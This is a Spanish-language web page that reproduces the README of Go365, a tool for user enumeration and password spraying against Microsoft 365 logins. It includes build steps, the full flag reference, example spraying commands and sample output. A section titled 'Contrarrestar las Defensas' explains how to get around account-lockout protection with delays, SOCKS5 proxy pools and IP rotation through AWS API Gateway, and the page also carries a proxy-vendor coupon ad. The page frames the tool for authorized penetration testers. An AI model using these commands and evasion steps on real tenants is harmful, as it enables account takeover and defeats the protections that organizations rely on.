Go365 Herramienta de Ataque al Usuario de Microsoft365
Go365 Herramienta de Ataque al Usuario de Microsoft365

Go365: Herramienta de Ataque al Usuario de Microsoft365

Go365 es una herramienta diseñada para realizar ataques de enumeración de usuarios* y adivinación de contraseñas en organizaciones que utilizan Microsoft 365 (antes Office365). Go365 utiliza un punto final SOAP API único en login.microsoftonline.com que la mayoría de las otras herramientas no utilizan. Cuando se consulta con una dirección de correo electrónico y una contraseña, el punto final responde con un código de autenticación y autorización de Azure AD. Este código es procesado por Go365 y el resultado se imprime en pantalla o en un archivo de salida.

Interfaz de uso para Go365
Interfaz de uso para Go365
  • La enumeración de usuarios se realiza junto con un intento de adivinar la contraseña. Por lo tanto, no existe una bandera o funcionalidad específica para realizar sólo la enumeración de usuarios. En su lugar, lleva a cabo tu primer ataque de adivinación de contraseña, y luego analiza los resultados en busca de usuarios válidos.

¡Lee estas tres viñetas!

  • Es posible que esta herramienta no funcione en todos los dominios que utilizan o365. Las pruebas muestran que funciona con la mayoría de los dominios federados. Algunos dominios sólo informarán de usuarios válidos incluso si también se proporciona una contraseña válida. Los resultados pueden variar.
  • Los dominios en los que se probó esta herramienta mostraron que en realidad no bloqueaba las cuentas después de varios fallos de contraseña. Los resultados pueden variar.
  • Esta herramienta está diseñada para ser utilizada por profesionales de la seguridad autorizados a “atacar” la instancia de o365 de la organización objetivo.

Cómo Obtener Go365

Opción 0

Descarga un binario precompilado para tu sistema operativo AQUÍ.

https://github.com/optiv/Go365/releases

Opción 1

Descarga el código fuente y compila localmente.

  1. Instala Go.
  2. Clona el repositorio.
  3. Navega hasta el repositorio y compila:
go build Go365.go
  1. Ejecuta el binario resultante

Uso

Ejemplo de uso y ataque de Go365
Ejemplo de uso y ataque de Go365
$ ./Go365

  ██████         ██████   ██████  ██████
 ██                   ██ ██       ██
 ██  ███   ████   █████  ███████  ██████
 ██    ██ ██  ██      ██ ██    ██      ██
  ██████   ████  ██████   ██████  ██████

 Version: 2.0
 Authors: paveway3, h0useh3ad, S4R1N, EatonChips

Usage:

  -h                            Shows this stuff


  Required - Endpoint:

    -endpoint [rst or graph]    Specify which endpoint to use
                                : (-endpoint rst)   *Classic Go365!* login.microsoftonline.com/rst2.srf. SOAP XML request with XML response
                                : (-endpoint graph)  login.microsoft.com/common/oauth2/token. HTTP POST request with JSON Response

  Required - Usernames and Passwords:

    -u <string>                 Single username to test
                                : Username with or without "@domain.com"
                                : Must also provide -d flag to specify the domain
                                : (-u legitfirst.lastname@totesrealdomain.com)

    -ul <file>                  Username list to use (overrides -u)
                                : File should contain one username per line
                                : Usernames can have "@domain.com"
                                : If no domain is specified, the -d domain is used
                                : (-ul ./usernamelist.txt)

    -p <string>                 Password to attempt
                                : Enclose in single quotes if it contains special characters
                                : (-p password123)  or  (-p 'p@s$w0|2d')

    -pl <file>                  Password list to use (overrides -p)
                                : File should contain one password per line
                                : -delay flag can be used to include a pause between each set of attempts
                                : (-pl ./passwordlist.txt)

    -up <file>                  Userpass list to use (overrides all the above options)
                                : One username and password separated by a ":" per line
                                : Be careful of duplicate usernames!
                                : (-up ./userpasslist.txt)

  Required/Optional - Domain:

    -d <string>                 Domain to test
                                : Use this if the username or username list does not include "@targetcompany.com"
                                : (-d targetcompany.com)

  Optional:

    -w <int>                    Time to wait between attempts in seconds.
                                : Default: 1 second. 5 seconds recommended.
                                : (-w 10)

    -delay <int>                Delay (in seconds) between sprays when using a password list.
                                : Default: 60 minutes (3600 seconds) recommended.
                                : (-delay 7200)

    -o <string>                 Output file to write to
                                : Will append if file exists, otherwise a file is created
                                : (-o ./Go365output.out)

    -proxy <string>             Single SOCKS5 proxy server to use
                                : IP address and Port separated by a ":"
                                : SOCKS5 proxy
                                : (-proxy 127.0.0.1:1080)

    -proxyfile <string>         A file with a list of SOCKS5 proxy servers to use
                                : IP address and Port separated by a ":" on each line
                                : Randomly selects a proxy server to use before each request
                                : (-proxyfile ./proxyfile.txt)

    -url <string>               Endpoint to send requests to
                                : Amazon API Gateway 'Invoke URL'
                                : Highly recommended that you use this option. Google it, or
                                : check this out: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
                                : (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)

    -debug                      Debug mode.
                                : Print xml response

Ejemplos:

  ./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
  ./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
  ./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
  ./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
  ./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
  ./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login

  You can even schedule out your entire password guessing campaign using the -pl and -delay flags :)
  ./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200

  *Protip: If you get a lot of "Account locked out" responses, then you might wanna proxy or use an AWS Gateway.

Cuenta Bloqueada (Defensas de Dominio)

Tip

Probablemente no estés bloqueando cuentas.

Después de un número de consultas contra un dominio objetivo, los resultados pueden empezar a informar de que las cuentas están bloqueadas.

Una vez que se activa esta defensa, la enumeración de usuarios deja de ser fiable, ya que las solicitudes de usuarios válidos e inválidos informarán aleatoriamente de que sus cuentas han sido bloqueadas.

...
[-] User not found: test.user90@pwnthisfakedomain.com
[-] User not found: test.user91@pwnthisfakedomain.com
[-] Valid user, but invalid password: test.user92@pwnthisfakedomain.com
[!] Account Locked Out: real.user1@pwnthisfakedomain.com
[-] Valid user, but invalid password: test.user93@pwnthisfakedomain.com
[!] Account Locked Out: valid.user94@pwnthisfakedomain.com
[!] Account Locked Out: jane.smith@pwnthisfakedomain.com
[-] Valid user, but invalid password: real.user95@pwnthisfakedomain.com
[-] Valid user, but invalid password: fake.user96@pwnthisfakedomain.com
[!] Account Locked Out: valid.smith@pwnthisfakedomain.com
...

Se trata de un mecanismo defensivo activado por el número de consultas de usuario válidas contra el dominio de destino en un determinado periodo de tiempo. El número de intentos y el periodo de tiempo variarán dependiendo del dominio objetivo, ya que los umbrales pueden ser personalizados por la organización objetivo.

Contrarrestar las Defensas

Tiempo de espera

El mecanismo defensivo se basa en el tiempo y en la dirección IP. Go365 proporciona opciones para incluir un tiempo de espera entre peticiones y opciones de proxy para distribuir el origen de las peticiones. Para eludir los mecanismos defensivos en tu dominio objetivo, utiliza un tiempo de espera largo y varios servidores proxy.

Se recomienda un tiempo de espera de AL MENOS 15 segundos. -w 15

Proxies SOCKS5

Si sigues recibiendo respuestas de “cuenta bloqueada”, empieza a proxyar tus peticiones. Las opciones de proxy sólo han sido probadas en proxies dinámicos SSH SOCKS5 (ssh -D user@proxyserver)

Consejo

Compra Proxy HTTPS/SOCKS5 al mejor precio en PROXY6. Usa el cupón: 1OiWYRR8pp.

Crea un montón de proxies SOCKS5 en DO o AWS o Vultr o lo que sea y haz un archivo que se parezca a esto:

127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...

La herramienta iterará aleatoriamente a través de los servidores proxy proporcionados y esperará el tiempo especificado entre peticiones.

-w 15 -proxyfile ./proxies.txt

Puerta de Enlace API de Amazon

Además, se puede especificar una URL de punto final para que esta herramienta pueda interactuar con Amazon API Gateway. Configura una puerta de enlace para que apunte al punto final https://login.microsoftonline.com/rst2.srf y, a continuación, establece el parámetro -url en Invoke URL proporcionada. Tu IP debería rotar con cada petición.

-url https://justanexample.execute-api.us-east-2.amazonaws.com/login
https://github.com/optiv/Go365

Mi Carro Close (×)

Tu carrito está vacío
Ver tienda